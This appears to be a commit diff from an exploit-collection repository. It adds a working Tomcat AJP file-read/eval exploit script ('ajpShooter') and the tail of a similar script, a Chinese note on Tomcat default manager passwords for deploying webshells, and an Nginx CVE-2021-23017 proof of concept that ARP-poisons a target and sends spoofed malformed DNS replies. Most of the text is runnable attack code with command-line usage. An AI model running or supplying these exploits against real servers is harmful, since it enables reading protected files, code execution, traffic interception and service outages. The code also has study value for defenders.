self.socket.connect((target_host, target_port))
|
||||
self.stream = self.socket.makefile("rb", bufsize=0)
|
||||
|
||||
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
|
||||
self.req_uri = req_uri
|
||||
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
|
||||
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
|
||||
if user is not None and password is not None:
|
||||
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
|
||||
for h in headers:
|
||||
self.forward_request.request_headers[h] = headers[h]
|
||||
for a in attributes:
|
||||
self.forward_request.attributes.append(a)
|
||||
responses = self.forward_request.send_and_receive(self.socket, self.stream)
|
||||
if len(responses) == 0:
|
||||
return None, None
|
||||
snd_hdrs_res = responses[0]
|
||||
data_res = responses[1:-1]
|
||||
if len(data_res) == 0:
|
||||
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
|
||||
return snd_hdrs_res, data_res
|
||||
|
||||
'''
|
||||
javax.servlet.include.request_uri
|
||||
javax.servlet.include.path_info
|
||||
javax.servlet.include.servlet_path
|
||||
'''
|
||||
|
||||
import argparse
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("target", type=str, help="Hostname or IP to attack")
|
||||
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
|
||||
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
|
||||
args = parser.parse_args()
|
||||
t = Tomcat(args.target, args.port)
|
||||
_,data = t.perform_request('/asdf',attributes=[
|
||||
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
|
||||
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
|
||||
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
|
||||
])
|
||||
print('----------------------------')
|
||||
print("".join([d.data for d in data]))
|
386
03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/exp.py
Normal file
@ -0,0 +1,386 @@
|
||||
#!/usr/bin/python3
|
||||
# Author: 00theway
|
||||
|
||||
import socket
|
||||
import binascii
|
||||
import argparse
|
||||
import urllib.parse
|
||||
|
||||
debug = False
|
||||
|
||||
|
||||
def log(type, *args, **kwargs):
|
||||
if type == 'debug' and debug == False:
|
||||
return
|
||||
elif type == 'append' and debug == True:
|
||||
return
|
||||
elif type == 'append':
|
||||
kwargs['end'] = ''
|
||||
print(*args, **kwargs)
|
||||
return
|
||||
print('[%s]' % type.upper(), *args, **kwargs)
|
||||
|
||||
|
||||
class ajpRequest(object):
|
||||
def __init__(self, request_url, method='GET', headers=[], attributes=[]):
|
||||
self.request_url = request_url
|
||||
self.method = method
|
||||
self.headers = headers
|
||||
self.attributes = attributes
|
||||
|
||||
def method2code(self, method):
|
||||
methods = {
|
||||
'OPTIONS': 1,
|
||||
'GET': 2,
|
||||
'HEAD': 3,
|
||||
'POST': 4,
|
||||
'PUT': 5,
|
||||
'DELETE': 6,
|
||||
'TRACE': 7,
|
||||
'PROPFIND': 8
|
||||
}
|
||||
code = methods.get(method, 2)
|
||||
return code
|
||||
|
||||
def make_headers(self):
|
||||
header2code = {
|
||||
b'accept': b'\xA0\x01', # SC_REQ_ACCEPT
|
||||
b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET
|
||||
b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING
|
||||
b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE
|
||||
b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION
|
||||
b'connection': b'\xA0\x06', # SC_REQ_CONNECTION
|
||||
b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE
|
||||
b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH
|
||||
b'cookie': b'\xA0\x09', # SC_REQ_COOKIE
|
||||
b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2
|
||||
b'host': b'\xA0\x0B', # SC_REQ_HOST
|
||||
b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA
|
||||
b'referer': b'\xA0\x0D', # SC_REQ_REFERER
|
||||
b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT
|
||||
}
|
||||
headers_ajp = []
|
||||
|
||||
for (header_name, header_value) in self.headers:
|
||||
code = header2code.get(header_name, b'')
|
||||
if code != b'':
|
||||
headers_ajp.append(code)
|
||||
headers_ajp.append(self.ajp_string(header_value))
|
||||
else:
|
||||
headers_ajp.append(self.ajp_string(header_name))
|
||||
headers_ajp.append(self.ajp_string(header_value))
|
||||
|
||||
return self.int2byte(len(self.headers), 2), b''.join(headers_ajp)
|
||||
|
||||
def make_attributes(self):
|
||||
'''
|
||||
org.apache.catalina.jsp_file
|
||||
javax.servlet.include.servlet_path + javax.servlet.include.path_info
|
||||
'''
|
||||
attribute2code = {
|
||||
b'remote_user': b'\x03',
|
||||
b'auth_type': b'\x04',
|
||||
b'query_string': b'\x05',
|
||||
b'jvm_route': b'\x06',
|
||||
b'ssl_cert': b'\x07',
|
||||
b'ssl_cipher': b'\x08',
|
||||
b'ssl_session': b'\x09',
|
||||
b'req_attribute': b'\x0A', # Name (the name of the attribut follows)
|
||||
b'ssl_key_size': b'\x0B'
|
||||
}
|
||||
attributes_ajp = []
|
||||
|
||||
for (name, value) in self.attributes:
|
||||
code = attribute2code.get(name, b'')
|
||||
if code != b'':
|
||||
attributes_ajp.append(code)
|
||||
if code == b'\x0A':
|
||||
for v in value:
|
||||
attributes_ajp.append(self.ajp_string(v))
|
||||
else:
|
||||
attributes_ajp.append(self.ajp_string(value))
|
||||
|
||||
return b''.join(attributes_ajp)
|
||||
|
||||
def ajp_string(self, message_bytes):
|
||||
# an AJP string
|
||||
# the length of the string on two bytes + string + plus two null bytes
|
||||
message_len_int = len(message_bytes)
|
||||
return self.int2byte(message_len_int, 2) + message_bytes + b'\x00'
|
||||
|
||||
def int2byte(self, data, byte_len=1):
|
||||
return data.to_bytes(byte_len, 'big')
|
||||
|
||||
def make_forward_request_package(self):
|
||||
'''
|
||||
AJP13_FORWARD_REQUEST :=
|
||||
prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
|
||||
method (byte)
|
||||
protocol (string)
|
||||
req_uri (string)
|
||||
remote_addr (string)
|
||||
remote_host (string)
|
||||
server_name (string)
|
||||
server_port (integer)
|
||||
is_ssl (boolean)
|
||||
num_headers (integer)
|
||||
request_headers *(req_header_name req_header_value)
|
||||
attributes *(attribut_name attribute_value)
|
||||
request_terminator (byte) OxFF
|
||||
'''
|
||||
req_ob = urllib.parse.urlparse(self.request_url)
|
||||
|
||||
# JK_AJP13_FORWARD_REQUEST
|
||||
prefix_code_int = 2
|
||||
prefix_code_bytes = self.int2byte(prefix_code_int)
|
||||
method_bytes = self.int2byte(self.method2code(self.method))
|
||||
protocol_bytes = b'HTTP/1.1'
|
||||
req_uri_bytes = req_ob.path.encode('utf8')
|
||||
remote_addr_bytes = b'127.0.0.1'
|
||||
remote_host_bytes = b'localhost'
|
||||
server_name_bytes = req_ob.hostname.encode('utf8')
|
||||
|
||||
# SSL flag
|
||||
if req_ob.scheme == 'https':
|
||||
is_ssl_boolean = 1
|
||||
else:
|
||||
is_ssl_boolean = 0
|
||||
|
||||
# port
|
||||
server_port_int = req_ob.port
|
||||
if not server_port_int:
|
||||
server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
|
||||
server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes
|
||||
|
||||
is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte
|
||||
|
||||
self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int)))
|
||||
|
||||
num_headers_bytes, headers_ajp_bytes = self.make_headers()
|
||||
|
||||
attributes_ajp_bytes = self.make_attributes()
|
||||
|
||||
message = []
|
||||
message.append(prefix_code_bytes)
|
||||
message.append(method_bytes)
|
||||
message.append(self.ajp_string(protocol_bytes))
|
||||
message.append(self.ajp_string(req_uri_bytes))
|
||||
message.append(self.ajp_string(remote_addr_bytes))
|
||||
message.append(self.ajp_string(remote_host_bytes))
|
||||
message.append(self.ajp_string(server_name_bytes))
|
||||
message.append(server_port_bytes)
|
||||
message.append(is_ssl_bytes)
|
||||
message.append(num_headers_bytes)
|
||||
message.append(headers_ajp_bytes)
|
||||
message.append(attributes_ajp_bytes)
|
||||
message.append(b'\xff')
|
||||
message_bytes = b''.join(message)
|
||||
|
||||
send_bytes = b'\x12\x34' + self.ajp_string(message_bytes)
|
||||
|
||||
return send_bytes
|
||||
|
||||
|
||||
class ajpResponse(object):
|
||||
def __init__(self, s, out_file):
|
||||
self.sock = s
|
||||
self.out_file = out_file
|
||||
self.body_start = False
|
||||
self.common_response_headers = {
|
||||
b'\x01': b'Content-Type',
|
||||
b'\x02': b'Content-Language',
|
||||
b'\x03': b'Content-Length',
|
||||
b'\x04': b'Date',
|
||||
b'\x05': b'Last-Modified',
|
||||
b'\x06': b'Location',
|
||||
b'\x07': b'Set-Cookie',
|
||||
b'\x08': b'Set-Cookie2',
|
||||
b'\x09': b'Servlet-Engine',
|
||||
b'\x0a': b'Status',
|
||||
b'\x0b': b'WWW-Authenticate',
|
||||
}
|
||||
if not self.out_file:
|
||||
self.out_file = False
|
||||
else:
|
||||
log('*', 'store response in %s' % self.out_file)
|
||||
self.out = open(self.out_file, 'wb')
|
||||
|
||||
def parse_response(self):
|
||||
log('debug', 'start')
|
||||
|
||||
magic = self.recv(2) # first two bytes are the 'magic'
|
||||
log('debug', 'magic', magic, binascii.b2a_hex(magic))
|
||||
# next two bytes are the length
|
||||
data_len_int = self.read_int(2)
|
||||
|
||||
code_int = self.read_int(1)
|
||||
log('debug', 'code', code_int)
|
||||
|
||||
if code_int == 3:
|
||||
self.parse_send_body_chunk()
|
||||
elif code_int == 4:
|
||||
self.parse_headers()
|
||||
elif code_int == 5:
|
||||
self.parse_response_end()
|
||||
quit()
|
||||
|
||||
self.parse_response()
|
||||
|
||||
def parse_headers(self):
|
||||
log("append", '\n')
|
||||
log('debug', 'parsing RESPONSE HEADERS')
|
||||
|
||||
status_int = self.read_int(2)
|
||||
msg_bytes = self.read_string()
|
||||
|
||||
log('<', status_int, msg_bytes.decode('utf8'))
|
||||
|
||||
headers_number_int = self.read_int(2)
|
||||
log('debug', 'headers_nb', headers_number_int)
|
||||
|
||||
for i in range(headers_number_int):
|
||||
# header name: two cases
|
||||
first_byte = self.recv(1)
|
||||
second_byte = self.recv(1)
|
||||
|
||||
if first_byte == b'\xa0':
|
||||
header_key_bytes = self.common_response_headers[second_byte]
|
||||
else:
|
||||
header_len_bytes = first_byte + second_byte
|
||||
header_len_int = int.from_bytes(header_len_bytes, byteorder='big')
|
||||
header_key_bytes = self.read_bytes(header_len_int)
|
||||
# consume the 0x00 terminator
|
||||
self.recv(1)
|
||||
|
||||
header_value_bytes = self.read_string()
|
||||
try:
|
||||
header_key_bytes = header_key_bytes.decode('utf8')
|
||||
header_value_bytes = header_value_bytes.decode('utf8')
|
||||
except:
|
||||
pass
|
||||
log('<', '%s: %s' % (header_key_bytes, header_value_bytes))
|
||||
|
||||
def parse_send_body_chunk(self):
|
||||
if not self.body_start:
|
||||
log('append', '\n')
|
||||
log('debug', 'start parsing body chunk')
|
||||
self.body_start = True
|
||||
chunk = self.read_string()
|
||||
if self.out_file:
|
||||
self.out.write(chunk)
|
||||
else:
|
||||
try:
|
||||
chunk = chunk.decode('utf8')
|
||||
except:
|
||||
pass
|
||||
|
||||
log('append', chunk)
|
||||
|
||||
def parse_response_end(self):
|
||||
log('debug', 'start parsing end')
|
||||
code_reuse_int = self.read_int(1)
|
||||
log('debug', "finish parsing end", code_reuse_int)
|
||||
self.sock.close()
|
||||
|
||||
def read_int(self, int_len):
|
||||
return int.from_bytes(self.recv(int_len), byteorder='big')
|
||||
|
||||
def read_bytes(self, bytes_len):
|
||||
return self.recv(bytes_len)
|
||||
|
||||
def read_string(self, int_len=2):
|
||||
data_len = self.read_int(int_len)
|
||||
data = self.recv(data_len)
|
||||
# consume the 0x00 terminator
|
||||
end = self.recv(1)
|
||||
log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end))
|
||||
return data
|
||||
|
||||
def recv(self, data_len):
|
||||
data = self.sock.recv(data_len)
|
||||
while len(data) < data_len:
|
||||
log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data)))
|
||||
data += self.sock.recv(data_len - len(data))
|
||||
return data
|
||||
|
||||
|
||||
class ajpShooter(object):
|
||||
def __init__(self, args):
|
||||
self.args = args
|
||||
self.headers = args.header
|
||||
self.ajp_port = args.ajp_port
|
||||
self.requesturl = args.url
|
||||
self.target_file = args.target_file
|
||||
self.shooter = args.shooter
|
||||
self.method = args.X
|
||||
self.out_file = args.out_file
|
||||
|
||||
def shoot(self):
|
||||
headers = self.transform_headers()
|
||||
|
||||
target_file = self.target_file.encode('utf8')
|
||||
|
||||
attributes = []
|
||||
evil_req_attributes = [
|
||||
(b'javax.servlet.include.request_uri', b'index'),
|
||||
(b'javax.servlet.include.servlet_path', target_file)
|
||||
]
|
||||
|
||||
for req_attr in evil_req_attributes:
|
||||
attributes.append((b"req_attribute", req_attr))
|
||||
|
||||
if self.shooter == 'read':
|
||||
self.requesturl += '/index.txt'
|
||||
else:
|
||||
self.requesturl += '/index.jsp'
|
||||
|
||||
ajp_ip = urllib.parse.urlparse(self.requesturl).hostname
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((ajp_ip, self.ajp_port))
|
||||
|
||||
message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package()
|
||||
s.send(message)
|
||||
|
||||
ajpResponse(s, self.out_file).parse_response()
|
||||
|
||||
def transform_headers(self):
|
||||
self.headers = [] if not self.headers else self.headers
|
||||
newheaders = []
|
||||
for header in self.headers:
|
||||
hsplit = header.split(':')
|
||||
hname = hsplit[0]
|
||||
hvalue = ':'.join(hsplit[1:])
|
||||
newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8')))
|
||||
|
||||
return newheaders
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# parse command line arguments
|
||||
print('''
|
||||
_ _ __ _ _
|
||||
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
|
||||
//_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
|
||||
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
|
||||
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|
||||
|__/|_|
|
||||
00theway,just for test
|
||||
''')
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/')
|
||||
parser.add_argument('ajp_port', default=8009, type=int, help='ajp port')
|
||||
parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg')
|
||||
parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file')
|
||||
|
||||
parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url')
|
||||
parser.add_argument('-H', '--header', help='add a header', action='append')
|
||||
parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET',
|
||||
choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND'])
|
||||
parser.add_argument('-d', '--data', nargs=1, help='The data to POST')
|
||||
parser.add_argument('-o', '--out-file', help='write response to file')
|
||||
parser.add_argument('--debug', action='store_true', default=False)
|
||||
|
||||
args = parser.parse_args()
|
||||
debug = args.debug
|
||||
ajpShooter(args).shoot()
|
BIN
03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/images/index.png
Normal file
After Width: | Height: | Size: 171 KiB |
BIN
03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/images/result.png
Normal file
After Width: | Height: | Size: 79 KiB |
@ -1,11 +1,12 @@
|
||||
## Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下
|
||||
后台地址默认为 `ip/manager/html`
|
||||
# Tomcat 默认密码
|
||||
### Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下
|
||||
后台地址默认为 `http://ip/manager/html`
|
||||
|
||||
* Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。
|
||||
* Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。
|
||||
* Tomcat7默认有tomcat用户 密码为tomcat 拥有直接部署war文件的权限 可以直接上马
|
||||
* Tomcat7默认有tomcat用户,密码为tomcat 拥有直接部署war文件的权限,可以直接上马
|
||||
* Tomcat8中正常安装的情况下默认没有任何用户,且manager页面只允许本地IP访问
|
||||
|
||||
|
||||
修复方案:
|
||||
### 修复方案
|
||||
Tomcat的用户配置文件tomcat-users.xml中进行修改
|
@ -0,0 +1,7 @@
|
||||
# Nginx 1.20.0 - Denial of Service (DOS)
|
||||
|
||||
## cve 编号
|
||||
CVE-2021-23017
|
||||
|
||||
## poc 使用
|
||||
`python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1`
|
103
04-Nginx/Nginx 1.20.0 - Denial of Service (DOS)/poc.py
Normal file
@ -0,0 +1,103 @@
|
||||
|
||||
from scapy.all import *
|
||||
from multiprocessing import Process
|
||||
from binascii import hexlify, unhexlify
|
||||
import argparse, time, os
|
||||
|
||||
def device_setup():
|
||||
os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
|
||||
os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")
|
||||
|
||||
def ARPP(target, dns_server):
|
||||
print("[*] Sending poisoned ARP packets")
|
||||
target_mac = getmacbyip(target)
|
||||
dns_server_mac = getmacbyip(dns_server)
|
||||
while True:
|
||||
time.sleep(2)
|
||||
send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
|
||||
send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)
|
||||
|
||||
def exploit(target):
|
||||
print("[*] Listening ")
|
||||
sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)
|
||||
|
||||
"""
|
||||
RFC schema
|
||||
0 1 2 3
|
||||
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|
||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
| LENGTH | ID |
|
||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
|
||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
| ANCOUNT | NSCOUNT |
|
||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
| ARCOUNT | QD |
|
||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
| AN | NS |
|
||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
| AR |
|
||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
|
||||
Fig. DNS
|
||||
|
||||
"""
|
||||
def process_received_packet(received_packet):
|
||||
if received_packet[IP].src == target_ip:
|
||||
if received_packet.haslayer(DNS):
|
||||
if DNSQR in received_packet:
|
||||
print("[*] the received packet: " + str(bytes_hex(received_packet)))
|
||||
print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
|
||||
try:
|
||||
# \/ the received DNS request
|
||||
dns_request = received_packet[DNS].build()
|
||||
null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
|
||||
print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
|
||||
print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
|
||||
payload = [
|
||||
dns_request[0:2],
|
||||
b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
|
||||
dns_request[12:null_pointer_index+1],
|
||||
dns_request[null_pointer_index+1:null_pointer_index+3],
|
||||
dns_request[null_pointer_index+3:null_pointer_index+5],
|
||||
b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
|
||||
b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
|
||||
b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
|
||||
b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
|
||||
]
|
||||
|
||||
payload = b"".join(payload)
|
||||
spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/ \
|
||||
UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/ \
|
||||
payload)
|
||||
print("[+] dns answer: "+str(hexlify(payload)))
|
||||
print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))
|
||||
|
||||
sendp(spoofed_pkt, count=1)
|
||||
print("\n[+] malicious answer was sent")
|
||||
print("[+] exploited\n")
|
||||
except:
|
||||
print("\n[-] ERROR")
|
||||
|
||||
def main():
|
||||
global target_ip
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-t", "--target", help="IP address of the target")
|
||||
parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
|
||||
args = parser.parse_args()
|
||||
target_ip = args.target
|
||||
dns_server_ip = args.dns_server
|
||||
device_setup()
|
||||
processes_list = []
|
||||
ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
|
||||
exploitProcess = Process(target=exploit,args=(target_ip,))
|
||||
processes_list.append(ARPPProcess)
|
||||
processes_list.append(exploitProcess)
|
||||
for process in processes_list:
|
||||
process.start()
|
||||
for process in processes_list:
|
||||
process.join()
|
||||
|
||||
if __name__ == '__main__':
|
||||
target_ip = ""
|
||||
main()
|
Before Width: | Height: | Size: 514 KiB After Width: | Height: | Size: 514 KiB |
Before Width: | Height: | Size: 98 KiB After Width: | Height: | Size: 98 KiB |
Before Width: | Height: | Size: 428 KiB After Width: | Height: | Size: 428 KiB |
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
Before Width: | Height: | Size: 232 KiB After Width: | Height: | Size: 232 KiB |
Before Width: | Height: | Size: 214 KiB After Width: | Height: | Size: 214 KiB |
Before Width: | Height: | Size: 496 KiB After Width: | Height: | Size: 496 KiB |
Before Width: | Height: | Size: 340 KiB After Width: | Height: | Size: 340 KiB |
Before Width: | Height: | Size: 158 KiB After Width: | Height: | Size: 158 KiB |
Before Width: | Height: | Size: 198 KiB After Width: | Height: | Size: 198 KiB |
Before Width: | Height: | Size: 560 KiB After Width: | Height: | Size: 560 KiB |
Before Width: | Height: | Size: 274 KiB After Width: | Height: | Size: 274 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 128 KiB After Width: | Height: | Size: 128 KiB |
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 109 KiB After Width: | Height: | Size: 109 KiB |
Before Width: | Height: | Size: 107 KiB After Width: | Height: | Size: 107 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 205 KiB After Width: | Height: | Size: 205 KiB |
Before Width: | Height: | Size: 87 KiB After Width: | Height: | Size: 87 KiB |
Before Width: | Height: | Size: 180 KiB After Width: | Height: | Size: 180 KiB |
Before Width: | Height: | Size: 181 KiB After Width: | Height: | Size: 181 KiB |
Before Width: | Height: | Size: 189 KiB After Width: | Height: | Size: 189 KiB |
Before Width: | Height: | Size: 301 KiB After Width: | Height: | Size: 301 KiB |
Before Width: | Height: | Size: 138 KiB After Width: | Height: | Size: 138 KiB |
Before Width: | Height: | Size: 117 KiB After Width: | Height: | Size: 117 KiB |
Before Width: | Height: | Size: 255 KiB After Width: | Height: | Size: 255 KiB |
Before Width: | Height: | Size: 285 KiB After Width: | Height: | Size: 285 KiB |
Before Width: | Height: | Size: 58 KiB After Width: | Height: | Size: 58 KiB |
Before Width: | Height: | Size: 103 KiB After Width: | Height: | Size: 103 KiB |
Before Width: | Height: | Size: 158 KiB After Width: | Height: | Size: 158 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 115 KiB After Width: | Height: | Size: 115 KiB |
Before Width: | Height: | Size: 213 KiB After Width: | Height: | Size: 213 KiB |